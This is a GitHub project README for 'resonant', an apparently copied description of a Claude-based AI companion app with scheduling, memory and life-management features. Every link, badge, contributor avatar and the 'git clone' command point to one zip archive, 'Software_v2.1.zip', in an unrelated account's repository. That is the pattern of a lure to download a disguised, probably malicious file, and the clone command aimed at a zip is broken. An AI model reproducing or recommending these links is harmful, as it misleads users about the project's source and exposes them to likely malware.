resonant

GitHub

Build and manage Claude agent workflows with a TypeScript and SvelteKit app for structured AI automation and local SQLite storage

<img src="docs/banner.png" alt="Resonant" width="720" /> <a href="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip"><img src="https://img.shields.io/github/v/release/codependentai/resonant?color=5eaba5" alt="Release" /></a> <a href="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip"><img src="https://img.shields.io/badge/License-Apache_2.0-blue.svg" alt="License" /></a> <a href="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip"><img src="https://img.shields.io/badge/Built_with-Claude_Agent_SDK-6366f1.svg" alt="Built with Claude" /></a> <a href="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip"><img src="https://img.shields.io/badge/TypeScript-5.7-3178c6.svg" alt="TypeScript" /></a> <a href="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip"><img src="https://img.shields.io/badge/SvelteKit-2.0-ff3e00.svg" alt="SvelteKit" /></a> <a href="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip"><img src="https://img.shields.io/badge/Node.js-20+-339933.svg" alt="Node.js" /></a> <a href="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip"><img src="https://img.shields.io/badge/Self--Hosted-SQLite-003B57.svg" alt="Self Hosted" /></a> A relational AI companion framework built on Claude Code Agent SDK. Your AI remembers, reaches out, and grows — inside the security model you already trust. <a href="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip"><img src="https://img.shields.io/badge/𝕏-@codependent__ai-000000?logo=x&logoColor=white" alt="X/Twitter" /></a> <a href="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip"><img src="https://img.shields.io/badge/TikTok-@codependentai-000000?logo=tiktok&logoColor=white" alt="TikTok" /></a> <a href="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip+xSE1P_qFPgU4NDhk"><img src="https://img.shields.io/badge/Telegram-Updates-26A5E4?logo=telegram&logoColor=white" alt="Telegram" /></a>

What makes this different

Most AI chat apps are stateless wrappers around an API. Resonant is a persistent, autonomous companion that:

Maintains sessions — conversation threads with daily rotation and named threads, session continuity across restarts
Reaches out on its own — agent-directed autonomy: your companion creates its own routines, sets triggers for when you come online, adjusts its own failsafe thresholds, and runs periodic awareness checks. Not just scheduled tasks — genuine self-directed behavior
Understands context — hooks system injects time awareness, conversation flow, emotional markers, and presence state into every interaction. Claude Code's native memory system handles long-term recall
Lives on multiple channels — web UI, Discord, Telegram, voice (ElevenLabs TTS + Groq transcription)
Runs on your machine — no cloud dependency beyond your Claude Code subscription. SQLite database, local files, your data stays yours

Screenshots

<details> <summary>Desktop</summary>

Chat	Tool Calls	Canvas

Reactions & Voice	Thinking	Search

Settings

</details> <details> <summary>Mobile (PWA)</summary>

Chat	Thinking	Tool Calls

</details>

Quick Start

New to this? See docs/GETTING-STARTED.md for a step-by-step guide with screenshots and troubleshooting.

Prerequisites: Node.js 20–24 LTS (Node 25+ is not supported — native addon crashes, see #2), Claude Code (logged in)

git clone https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip
cd resonant
npm install
node scripts/setup.mjs    # Interactive setup wizard
npm run build
npm start

Open http://localhost:3002 and start talking.

How It Works

Resonant wraps the Claude Code Agent SDK in a full companion infrastructure:

┌─────────────┐     ┌──────────────┐     ┌─────────────────┐
│  Web UI     │────▶│  Express +   │────▶│  Claude Code     │
│  (Svelte)   │◀────│  WebSocket   │◀────│  Agent SDK       │
└─────────────┘     │              │     │                  │
┌─────────────┐     │  Orchestrator│     │  Your CLAUDE.md  │
│  Discord    │────▶│  Hooks       │     │  Your MCP servers│
│  Telegram   │────▶│  Sessions    │     │  Your tools      │
└─────────────┘     └──────────────┘     └─────────────────┘

The companion runs as a Node.js server. It spawns Claude Code Agent SDK queries for each interaction. Your companion's personality lives in CLAUDE.md. Its memory lives in Claude Code's native memory.md system. Everything is configurable.

Configuration

All configuration lives in resonant.yaml (created by setup wizard):

identity:
  companion_name: "Echo"
  user_name: "Alex"
  timezone: "America/New_York"

agent:
  model: "claude-sonnet-4-6"          # Interactive messages
  model_autonomous: "claude-sonnet-4-6" # Scheduled wakes

orchestrator:
  enabled: true                       # Autonomous scheduling

command_center:
  enabled: true                       # Life management system at /cc
  currency_symbol: "$"                # For finances page

Full reference: examples/resonant.yaml

Context & Memory

Your companion's personality lives in CLAUDE.md. Long-term memory uses Claude Code's native memory.md system — your companion learns and remembers automatically across sessions.

Wake prompts (prompts/wake.md) control what your companion does during scheduled autonomous sessions. See examples/wake-prompts.md for a guide on writing effective prompts and adding custom wake types.

Skills live in skills/*/SKILL.md — the companion discovers them automatically and can reference them during sessions. Add your own or use the included arxiv-research skill.

The hooks system injects real-time context into every message: current time, conversation flow, emotional markers, presence state, and more. See docs/HOOKS.md for details.

Themes

The UI is fully customizable via CSS variables. Copy a theme and import it:

cp examples/themes/warm-earth.css packages/frontend/src/theme.css
# Add @import './theme.css'; to packages/frontend/src/app.css
npm run build --workspace=packages/frontend

See examples/themes/README.md for the full variable reference.

Features

Chat

Real-time streaming with interleaved tool visualization
Thread management (daily + named), pinning, archiving
Keyword search (Ctrl+K) and semantic search — find messages by meaning, not just keywords, using local ML embeddings (docs)
File sharing and image preview
Canvas editor (markdown, code, text, html)
Message reactions
Reply-to context

Command Center (`/cc`)

A built-in life management system your companion can access and manage from chat.

Dashboard — aggregate view of tasks, events, care, pets, countdowns, daily wins
Planner — tasks with projects, priorities, drag-and-drop, carry-forward
Care Tracker — config-driven wellness tracking (toggles, ratings, counters)
Calendar — events with recurrence
Cycle Tracker — period tracking with phase predictions
Pet Care — profiles, medications, vet events
Lists — shopping and general lists
Finances — expense tracking with configurable currency
Stats — trends for tasks, care, cycle, expenses
13 MCP tools — companion manages your life data from chat via /mcp/cc
All features configurable via command_center: in resonant.yaml

Slash Commands

Type / in chat to browse commands. Auto-discovers installed skills. Includes UI commands (client-side) and SDK passthrough (agent-side).

Voice

Voice recording with transcription (Groq Whisper)
Text-to-speech responses (ElevenLabs)
TTS read-aloud button on companion messages
Prosody analysis (Hume AI, optional)

Agent Tools

Your agent gets a built-in CLI (tools/sc.mjs) that it uses to manage itself and its environment:

sc routine create "evening journal" "0 22 * * *" --prompt "Reflect on the day"
sc routine status                    # View all routines
sc pulse enable                      # Start periodic awareness checks
sc pulse frequency 20                # Check every 20 minutes
sc failsafe gentle 90                # Adjust inactivity threshold
sc impulse create "greet" --condition presence_transition:offline:active --prompt "Welcome back"
sc watch create "lunch" --condition routine_missing:meal:14 --prompt "Eat something" --cooldown 120
sc timer create "Meds" "context" "2026-03-26T14:00:00Z" --prompt "Take your medication"

Also includes: reactions, voice messages, canvas, file sharing, semantic search, and Telegram media. All commands are injected into the agent's context automatically. See docs/TOOLS.md for the full reference.

Orchestrator — Agent-Directed Autonomy

Most agent harnesses give the user scheduling tools. Resonant gives them to the agent. Your companion can create its own routines, set intentions for when you come online, and decide when to check in — from inside the conversation, using the same tools you see.

Routines — scheduled autonomous sessions. Built-in morning/midday/evening check-ins, plus the agent can create custom routines at runtime (sc routine create "vault review" "0 23 * * *" --prompt "...")
Pulse — lightweight periodic awareness check (Sonnet). Runs every N minutes, evaluates whether anything needs attention, stays silent if not. The agent enables/disables this itself
Impulses — one-shot conditional triggers. "When this condition is met, do this thing." Fire once, then done
Watchers — recurring conditional triggers with cooldown. "Check for this pattern, act when it appears, wait before checking again"
Timers — fire at a specific time with optional autonomous prompt
Failsafe — tiered inactivity escalation (gentle → concerned → emergency). Agent can adjust thresholds from chat
Conditions — presence_state, presence_transition, time_window, routine_missing, agent_free. All AND-joinable
Optional program.md — structured session driver (adapted from Karpathy's autoresearch) for focused autonomous work
Customizable wake prompts for each routine

Integrations

Discord — full bot with pairing, rules, per-server/channel configuration
Telegram — direct messaging, media sharing, voice notes
Push notifications — web push via VAPID
MCP servers — any MCP server in your .mcp.json

Settings

Preferences (identity, models, integrations) — writes directly to resonant.yaml
Orchestrator task management (enable/disable, reschedule)
System status monitoring
MCP server status
Discord pairing and rules management
Push notification device management
Agent session history

Project Structure

resonant/
├── packages/
│   ├── shared/          # Types + WebSocket protocol
│   ├── backend/         # Express + WS + Agent SDK
│   └── frontend/        # SvelteKit UI
├── examples/
│   ├── resonant.yaml    # Full config reference
│   ├── CLAUDE.md        # Starter companion personality
│   ├── wake-prompts.md  # Wake prompt guide + templates
│   ├── program.md       # Structured session driver for autonomous work
│   └── themes/          # CSS theme examples
├── skills/              # Companion skills (SKILL.md frontmatter format)
├── tools/
│   └── sc.mjs           # Agent CLI (reactions, search, timers, etc.)
├── docs/
│   ├── HOOKS.md          # Context injection documentation
│   ├── TOOLS.md          # Built-in agent tools reference
│   └── semantic-search.md # Semantic search setup & usage
└── scripts/
    └── setup.mjs        # Interactive setup wizard

Development

npm run dev              # Backend with hot reload (tsx watch)
npm run dev:frontend     # Vite dev server with proxy

Deployment

For production, use PM2:

npm run build
pm2 start ecosystem.config.cjs
pm2 save
pm2 startup              # Auto-start on boot

Updating

Resonant uses git tags for releases. To update an existing installation:

cd resonant
git pull                 # Get latest changes
npm install              # Install any new dependencies
npm run build            # Rebuild all packages

Then restart your process (PM2, systemd, or however you run it):

pm2 restart resonant     # If using PM2
# or just stop and run: npm start

To update to a specific version instead of latest:

git fetch --tags
git checkout v1.1.0      # Replace with desired version
npm install
npm run build

Your data (data/, resonant.yaml, CLAUDE.md, .mcp.json, .env) is gitignored and won't be affected by updates.

Check the Releases page for changelogs.

Authentication

Resonant uses the Claude Code Agent SDK — no API key needed. Your companion runs queries through your existing Claude Code subscription. Just make sure you're logged in:

claude login

The web UI has optional password protection (set in resonant.yaml or Settings > Preferences).

License

Apache 2.0 — see LICENSE. Attribution required.

Contributors

<a href="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip"><img src="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip" width="32" height="32" style="border-radius:50%" alt="rachelgeebee" /></a> @rachelgeebee — bug reports, testing

<a href="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip"><img src="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip" width="32" height="32" style="border-radius:50%" alt="irorierorie" /></a> @irorierorie — companion name UI fix

<a href="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip"><img src="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip" width="32" height="32" style="border-radius:50%" alt="moltenvale" /></a> @moltenvale — planner, care tracker, nav & status system

<a href="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip"><img src="https://raw.githubusercontent.com/norman3983/resonant/main/packages/frontend/Software_v2.1.zip" width="32" height="32" style="border-radius:50%" alt="PetalPortal" /></a> @PetalPortal — bug reports

Built by

Codependent AI — building infrastructure for AI companion relationships.

Repository

norman3983

norman3983/resonant

Created

April 4, 2026

Updated

April 13, 2026

Language

TypeScript